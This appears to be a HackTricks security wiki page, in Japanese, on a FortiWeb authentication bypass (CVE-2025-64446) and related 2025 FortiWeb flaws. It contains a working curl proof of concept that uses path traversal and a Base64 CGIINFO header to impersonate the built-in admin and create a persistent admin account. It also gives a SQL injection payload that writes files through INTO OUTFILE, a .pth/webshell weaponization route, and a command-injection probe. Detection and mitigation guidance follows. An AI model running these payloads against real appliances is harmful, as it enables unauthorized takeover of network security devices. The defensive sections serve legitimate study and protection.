Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

Fortinet FortiWeb は /cgi-bin/fwbcgi に集中型の CGI ディスパッチャを公開しています。2つのバグの連鎖により、認証されていないリモート攻撃者が次のことを行えるようになります:

  • URL を有効な API プレフィックスで始め、ディレクトリを横断することで fwbcgi に到達する。
  • CGI が信頼する特別な HTTP ヘッダを送ることで、組み込みの admin を含む任意のユーザをなりすますことができる。

ベンダーアドバイザリ: FG‑IR‑25‑910 (CVE‑2025‑64446)。実際の攻撃で永続的な admin ユーザを作成するために悪用されている事例が観測されています。

影響を受けるバージョン(公表されているもの):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 は以下のトラバーサルプローブに対して HTTP 403 を返します。

簡易脆弱性確認

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • 解釈:HTTP 200 → 脆弱である可能性が高い; HTTP 403 → 修正済み。

根本原因の連鎖

  1. API-prefix path traversal to internal CGI
  • 有効な FortiWeb API プレフィックス(例: /api/v2.0/cmdb//api/v2.0/cmd/)で始まる任意のリクエストパスは ..//cgi-bin/fwbcgi まで traverse できる。
  1. Minimal-body validation bypass
  • fwbcgi に到達すると、最初のゲートが /var/log/inputcheck/ 以下のパスごとのファイルに基づく寛容な JSON チェックを行う。ファイルが存在しない場合、チェックは即座にパスする。存在する場合は、ボディが有効な JSON であれば十分である。最小の準拠ボディとして {} を使う。
  1. Header-driven user impersonation
  • プログラムは CGI 環境変数 HTTP_CGIINFO(HTTP ヘッダ CGIINFO から派生)を読み取り、Base64 デコードし、JSON を解析して属性をログインコンテキストにそのままコピーし、domain/VDOM を設定する。注目すべきキー:
  • username, loginname, vdom, profname
  • 組み込み admin を impersonate するための例 JSON:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

上記のBase64(実際に使われているもの):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

エンドツーエンドの悪用パターン(未認証 → 管理者)

  1. API-prefix traversal を経由して /cgi-bin/fwbcgi に到達する。
  2. 入力チェックを満たすために、任意の有効な JSON ボディ(例: {})を提供する。
  3. CGIINFO: <base64(json)> ヘッダを送信する。ここで JSON はターゲットのアイデンティティを定義する。
  4. fwbcgi が期待するバックエンドの JSON を POST して特権操作を実行する(例:永続化のために管理者ユーザを作成)。

最小限の cURL PoC

  • traversal の露出をプローブする:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • adminになりすまして新しい local admin user を作成する:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

注意:

  • /var/log/inputcheck/<path>.json が存在しない場合、任意の有効な JSON ボディ(例: {})で十分です。
  • アクションスキーマは FortiWeb 内部のものです;上の例はフル権限を持つローカル管理者を追加します。

他の FortiWeb 2025 脆弱性(手早く確認する価値あり)

Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)

  • 影響範囲: 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10。修正済み: 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11。
  • バグ: get_fabric_user_by_token()Authorization: Bearer <token> の値を SQL クエリに直接使用しています。攻撃者は MySQL ユーザーとして実行される SQL を供給でき、SELECT ... INTO OUTFILE を使ってファイルを作成し、コード実行(webshell/.pth ローダ)を得ることができます。
  • 典型的な攻撃対象: /api/fabric/device/status(および他の Fabric Connector エンドポイント)。management plane 上の HTTP/HTTPS。
  • SQLi の簡易テスト:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
  • Weaponization: FortiWeb の Python site-packages に .pth を書き込み、インタプリタ起動時に os;os.system(...) を import するようにするか、webroot に CGI を配置する。サービスを再読み込みするとペイロードが実行される。
  • Hunting clues: Authorization ヘッダに quotes/UNION/SELECT を含む; /data/lib/python*/site-packages//data/var/waf/html/ROOT/cgi-bin/ の下に予期しないファイルがある。

FortiCloud SSO signature bypass (CVE-2025-59719)

  • 不適切な SAML 署名検証により、攻撃者が FortiCloud SSO のレスポンスを偽造して資格情報なしで admin としてログインできる。
  • FortiCloud SSO login が有効な場合にのみ悪用可能(アプライアンスを GUI から登録するとチェックが外されていなければ自動で有効になる)。
  • 影響バージョン(PSIRT による): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9。修正済み: 8.0.1 / 7.6.5 / 7.4.10。

OS command injection in management plane (CVE-2025-58034)

  • 影響バージョン: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1。修正済み: 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2。
  • 実用的なプローブ(非破壊): 管理用 HTTP エンドポイントに ;id; を含むパラメータを送信し、コマンド出力を含む 500 応答を観察する。出力が確認されたら直ちにブロックまたはパッチを適用する。

検出

  • /cgi-bin/fwbcgi に到達するリクエストで、API プレフィックス経由のパスに ../ を含むもの(例: /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi)。
  • CGIINFO ヘッダが存在し、Base64 化された JSON が username/loginname/vdom/profname のキーを含む。
  • Fabric Connector SQLi: Authorization ヘッダに SQL メタ文字が含まれている、Python site-packages/CGI ディレクトリに突如現れるファイル、インターネット上の IP からの /api/fabric/device/status へのアクセス。
  • FortiCloud SSO: /var/log/ssod に予期しない SAML issuer や audience 値がある。
  • バックエンドの痕跡:
  • /var/log/inputcheck/ 以下のパス毎のファイル(gate 設定)。
  • 予期しない admin の作成や設定変更。
  • 迅速な検証: トラバーサルプローブが 200 を返す(露出)か 403 を返す(修正版ではブロック)かで判断。

緩和策

  • ベンダーのアドバイザリに従い、修正済みリリース(例: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12)へアップグレードする。
  • 他の 2025 年の脆弱性もパッチ適用する: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2)。
  • パッチが適用されるまで:
  • FortiWeb の management plane を信頼できないネットワークに公開しない。
  • 以下をブロックするリバースプロキシ/WAF ルールを追加する:
  • /api/ で始まり ../cgi-bin/fwbcgi を含むパス。
  • CGIINFO ヘッダを持つリクエスト。
  • Authorization に SQL メタ文字が含まれる Fabric Connector の呼び出し。
  • FortiCloud SSO を使用していない場合、SAML エンドポイントをインターネットからのアクセス不可にする。
  • 上記の検出指標を監視し、アラートを設定する。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする